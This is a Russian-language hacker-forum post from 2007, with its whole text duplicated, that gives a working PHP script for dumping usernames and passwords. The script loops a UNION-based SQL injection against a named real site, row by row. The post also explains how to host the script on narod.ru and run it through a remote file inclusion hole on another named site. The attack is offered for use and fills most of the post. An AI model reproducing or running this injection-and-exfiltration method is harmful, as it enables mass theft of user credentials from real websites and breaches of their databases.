Shram-spb
08.07.2007, 04:32
Может было уже, но не нащел, по этому пишу свою статью..
Дорогой Олл, часто бывает так, что на сайте нельзя вывести всю базу
сразу, а можно только одной строкой, и далее приходится перебирать
через limit. Можно ли автоматизировать этот процесс?? Да. Можно.
И сегодня я вам расскажу, как это сделать!
Сегодня передо мною стала именна такая проблема и я написал небольшой скриптик для этого..
<?php
$req='http://www.dog.ru/index.php3?mode=5&id=-1+union+select+1,2,3,4,5,concat(char(60,100,97,116 ,97,62),nick,char(58),passwd,char(60,47,100,97,116 ,97,62)),7,8,9,10,11,12,13,14+from+users+limit+';
// char(60,100,97,116,97,62) = <data>
// char(60,47,100,97,116,97,62) = </data>
// В итоге из базы вернется такая строка: <data>username:password</data>
$tag1='<data>';
$tag2='</data>';
// Между какими тегами ищем наши данные
$max=3203;
// Максимальное число пользователей в базе
error_reporting(0);
ob_implicit_flush();
echo '<pre>';
// Открываем цикл
for ($i=0;$i<$max;$i++)
{
con ($req.$i.',1/*',$tag1,$tag2);
}
echo '</pre>';
// Собственно сама функция
function con($url,$a1,$a2)
{
// Получаем порт и хост из адреса
$service_port = getservbyname('www', 'tcp');
$host=substr($url,7,strpos($url,"/",7)-7);
$address = gethostbyname($host);
// Создаем сокет
$socket = socket_create(AF_INET, SOCK_STREAM, 0);
// Коннектимся
$result = socket_connect($socket, $address, $service_port);
switch(socket_select($r = array($socket), $w = array($socket), $f = array($socket), 5))
{
case 2:
echo "[-] Connection Refused\n";
break;
case 1:
// echo "[-] Connected\n"; // Комментируем эту строку, чтобы не отображалась при выводе
break;
case 0:
echo "[-] Timeout\n";
break;
}
// Формируем запрос
$in = "GET $url HTTP/1.0\r\n";
$in .= "Host: $host\r\n";
$in .= "Connection: Close\r\n\r\n";
// Запрашиваем страницу
socket_write($socket, $in, strlen ($in));
$out = '';
$text='';
// Получам данные
while ($out = socket_read($socket, 2048)) {
$text.=$out;
}
socket_close ($socket);
// Ищем в полученной странице наши теги и выводим строку между ними
echo substr($text,strpos($text,$a1),strpos($text,$a2,st rpos($text,$a1))-strpos($text,$a1));
echo "\n";
}
?>
Заливаем этот скриптик куда-нить на narod.ru.
Далее ищем сайт, уязвимый php-inj, например
*http://www.ultriplo.com/index.php?page=[url].php
и запускаем скрипт
*http://www.ultriplo.com/index.php?page=http://standmp3.narod.ru/get
Таким образом даже через модем мы можем быстро вытащить всю базу... Скорость зависит от ширины канала того сайта, на котором мы запускаем скрипт...
Вот! :) Спасибо за внимание..
Created by 5hr4M...
Дорогой Олл, часто бывает так, что на сайте нельзя вывести всю базу
сразу, а можно только одной строкой, и далее приходится перебирать
через limit. Можно ли автоматизировать этот процесс?? Да. Можно.
И сегодня я вам расскажу, как это сделать!
Сегодня передо мною стала именна такая проблема и я написал небольшой скриптик для этого..
<?php
$req='http://www.dog.ru/index.php3?mode=5&id=-1+union+select+1,2,3,4,5,concat(char(60,100,97,116 ,97,62),nick,char(58),passwd,char(60,47,100,97,116 ,97,62)),7,8,9,10,11,12,13,14+from+users+limit+';
// char(60,100,97,116,97,62) = <data>
// char(60,47,100,97,116,97,62) = </data>
// В итоге из базы вернется такая строка: <data>username:password</data>
$tag1='<data>';
$tag2='</data>';
// Между какими тегами ищем наши данные
$max=3203;
// Максимальное число пользователей в базе
error_reporting(0);
ob_implicit_flush();
echo '<pre>';
// Открываем цикл
for ($i=0;$i<$max;$i++)
{
con ($req.$i.',1/*',$tag1,$tag2);
}
echo '</pre>';
// Собственно сама функция
function con($url,$a1,$a2)
{
// Получаем порт и хост из адреса
$service_port = getservbyname('www', 'tcp');
$host=substr($url,7,strpos($url,"/",7)-7);
$address = gethostbyname($host);
// Создаем сокет
$socket = socket_create(AF_INET, SOCK_STREAM, 0);
// Коннектимся
$result = socket_connect($socket, $address, $service_port);
switch(socket_select($r = array($socket), $w = array($socket), $f = array($socket), 5))
{
case 2:
echo "[-] Connection Refused\n";
break;
case 1:
// echo "[-] Connected\n"; // Комментируем эту строку, чтобы не отображалась при выводе
break;
case 0:
echo "[-] Timeout\n";
break;
}
// Формируем запрос
$in = "GET $url HTTP/1.0\r\n";
$in .= "Host: $host\r\n";
$in .= "Connection: Close\r\n\r\n";
// Запрашиваем страницу
socket_write($socket, $in, strlen ($in));
$out = '';
$text='';
// Получам данные
while ($out = socket_read($socket, 2048)) {
$text.=$out;
}
socket_close ($socket);
// Ищем в полученной странице наши теги и выводим строку между ними
echo substr($text,strpos($text,$a1),strpos($text,$a2,st rpos($text,$a1))-strpos($text,$a1));
echo "\n";
}
?>
Заливаем этот скриптик куда-нить на narod.ru.
Далее ищем сайт, уязвимый php-inj, например
*http://www.ultriplo.com/index.php?page=[url].php
и запускаем скрипт
*http://www.ultriplo.com/index.php?page=http://standmp3.narod.ru/get
Таким образом даже через модем мы можем быстро вытащить всю базу... Скорость зависит от ширины канала того сайта, на котором мы запускаем скрипт...
Вот! :) Спасибо за внимание..
Created by 5hr4M...